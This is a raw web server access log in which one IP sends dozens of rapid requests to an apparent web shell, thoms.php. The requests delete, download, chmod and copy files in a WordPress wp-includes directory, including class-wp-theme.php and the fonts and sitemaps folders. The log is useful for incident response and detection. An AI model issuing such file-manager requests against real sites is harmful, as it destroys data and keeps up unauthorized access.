45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22249 "https://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22194 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=general-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fplugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fplugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fplugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22251 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22274 "https://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fjs&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?del=sitemaps&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?del=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?del=sitemaps&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?dl=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=https-detection.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22201 "https://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?del=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22211 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?chmod=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?del=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftaxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftaxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftaxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=date.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?del=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rest-api.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:38 -0400] "GET /thoms.php?chmod=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22289 "https://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?del=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?del=fonts&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=fonts&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22317 "https://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22310 "https://163.245.207.76:443/thoms.php?del=fonts&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
